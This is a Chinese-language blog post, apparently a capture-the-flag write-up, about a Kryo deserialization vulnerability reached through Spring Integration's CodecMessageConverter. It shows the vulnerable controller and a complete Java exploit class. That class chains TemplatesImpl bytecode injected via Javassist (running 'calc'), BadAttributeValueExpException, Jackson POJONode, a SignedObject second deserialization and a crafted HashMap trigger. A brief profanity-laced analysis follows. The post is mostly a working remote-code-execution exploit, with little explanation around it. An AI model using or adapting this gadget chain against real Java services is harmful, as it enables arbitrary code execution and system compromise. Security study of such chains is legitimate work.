前言
Kryo是一個(gè)快速序列化/反序列化工具,依賴于字節(jié)碼生成機(jī)制(底層使用了ASM庫),因此在序列化速度上有一定的優(yōu)勢,但正因如此,其使用也只能限制在基于JVM的語言上。
Kryo序列化出的結(jié)果,是其自定義的,獨(dú)有的一種格式。由于其序列化出的結(jié)果是二進(jìn)制的,也即byte[],因此像redis這樣可以存儲(chǔ)二進(jìn)制數(shù)據(jù)的存儲(chǔ)引擎是可以直接將Kryo序列化出來的數(shù)據(jù)存進(jìn)去。當(dāng)然你也可以選擇轉(zhuǎn)換成String的形式存儲(chǔ)在其他存儲(chǔ)引擎中(性能有損耗)
環(huán)境搭建
<dependency>
<groupId>com.esotericsoftware</groupId>
<artifactId>kryo</artifactId>
<version>5.2.0</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-messaging</artifactId>
<version>5.3.18</version>
</dependency>
<dependency>
<groupId>org.springframework.integration</groupId>
<artifactId>spring-integration-core</artifactId>
<version>5.3.1.RELEASE</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.28.0-GA</version>
</dependency>
例題
package com.sea;
import java.util.Base64;
import org.springframework.integration.codec.CodecMessageConverter;
import org.springframework.integration.codec.kryo.MessageCodec;
import org.springframework.messaging.Message;
import org.springframework.messaging.MessageHeaders;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
public class MessageController {
public MessageController() {
}
@ResponseBody
@RequestMapping({"/"})
public Object message(String message) throws Exception {
byte[] decodemsg;
if (message == null) {
decodemsg = Base64.getDecoder().decode("ASsBAQIDAWnkAQBqYXZhLnV0aWwuVVVJxAHLyYj656nh3Rj89bSK7ufJrcoDAXRpbWVzdGFt8AnMwumxjGIBAWNvbS5zZWEuVXNl8gEBMbABc2VhY2xvdWTz");
} else {
try {
decodemsg = Base64.getDecoder().decode(message);
} catch (Exception var5) {
decodemsg = Base64.getDecoder().decode("ASsBAQIDAWnkAQBqYXZhLnV0aWwuVVVJxAGBw5uOyvHs1sGsg/nqhOyP9pIDAXRpbWVzdGFt8AnmifmxjGIBAWNvbS5zZWEuVXNl8gEBMbABZXJyb/I=");
}
}
CodecMessageConverter codecMessageConverter = new CodecMessageConverter(new MessageCodec());
Message<?> messagecode = codecMessageConverter.toMessage(decodemsg, (MessageHeaders)null);
return messagecode.getPayload();
}
}
漏洞點(diǎn)在codecMessageConverter.toMessage
里面,并且給了一個(gè)比較明顯的base64字符串,看一下codecMessageConverter
類,有一個(gè)toMessage
和fromMessage
,對應(yīng)的就是反序列化和序列化了文章來源:http://www.zghlxwxcb.cn/news/detail-851425.html
Kyro反序列化鏈
package com.example.kryo;
import com.esotericsoftware.kryo.Kryo;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtNewConstructor;
import org.objenesis.strategy.StdInstantiatorStrategy;
import org.springframework.aop.target.HotSwappableTargetSource;
import org.springframework.integration.codec.CodecMessageConverter;
import org.springframework.integration.codec.kryo.MessageCodec;
import org.springframework.messaging.Message;
import org.springframework.messaging.MessageHeaders;
import org.springframework.messaging.support.GenericMessage;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;
public class Exploit {
public static void main(String[] args) throws Exception {
Kryo kryo = new Kryo();
kryo.setRegistrationRequired(false);
kryo.setInstantiatorStrategy(new StdInstantiatorStrategy());
// 二次反序列化
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("EvilGeneratedByJavassist");
ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
CtConstructor ctConstructor = CtNewConstructor.make("public EvilGeneratedByJavassist(){Runtime.getRuntime().exec(\"calc\");}", ctClass);
ctClass.addConstructor(ctConstructor);
byte[] byteCode = ctClass.toBytecode();
Templates templates = new TemplatesImpl();
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_name", "whatever");
setFieldValue(templates, "_bytecodes", new byte[][]{byteCode});
POJONode pojoNode1 = new POJONode(templates);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("whatever");
setFieldValue(badAttributeValueExpException, "val", pojoNode1);
// 初始化 SignedObject
KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
// 設(shè)置二次反序列化入口
SignedObject signedObject = new SignedObject(badAttributeValueExpException, privateKey, signingEngine);
// 一次反序列化
POJONode pojoNode2 = new POJONode(signedObject);
HotSwappableTargetSource h1 = new HotSwappableTargetSource(pojoNode2);
HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("whatever"));
// 手動(dòng)構(gòu)造 HashMap 以防觸發(fā)正向利用鏈
HashMap hashMap = new HashMap();
setFieldValue(hashMap, "size", 2);
Class nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, h1, h1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, h2, h2, null));
setFieldValue(hashMap, "table", tbl);
//String serial = serial(hashMap);
//System.out.println(serial);
CodecMessageConverter codecMessageConverter = new CodecMessageConverter(new MessageCodec());
// 序列化
GenericMessage genericMessage = new GenericMessage(hashMap);
byte[] decodemsg = (byte[]) codecMessageConverter.fromMessage(genericMessage, null);
// 反序列化
Message<?> messagecode = codecMessageConverter.toMessage(decodemsg, (MessageHeaders) null);
messagecode.getPayload();
}
public static String serial(Object o) throws IOException, NoSuchFieldException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
// Field writeReplaceMethod = ObjectStreamClass.class.getDeclaredField("writeReplaceMethod");
// writeReplaceMethod.setAccessible(true);
oos.writeObject(o);
oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;
}
public static void setFieldValue(Object obj, String name, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}
分析一下鏈子的流程,在toMessage處打個(gè)斷點(diǎn),nmmd,斷點(diǎn)停不住,艸了,手動(dòng)分析一波
進(jìn)入decode方法
這里觸發(fā)kryo的readObject,手動(dòng)進(jìn)去
進(jìn)入read方法,這里為MapSerializer
的read方法
這個(gè)map是我們的惡意map,通過觸發(fā)equals方法來觸發(fā)我們之后一系列的鏈子,這個(gè)之后的鏈子就是我們的jackson鏈,就不多說了,到此為止....文章來源地址http://www.zghlxwxcb.cn/news/detail-851425.html
到了這里,關(guān)于Kryo反序列化鏈分析的文章就介紹完了。如果您還想了解更多內(nèi)容,請?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!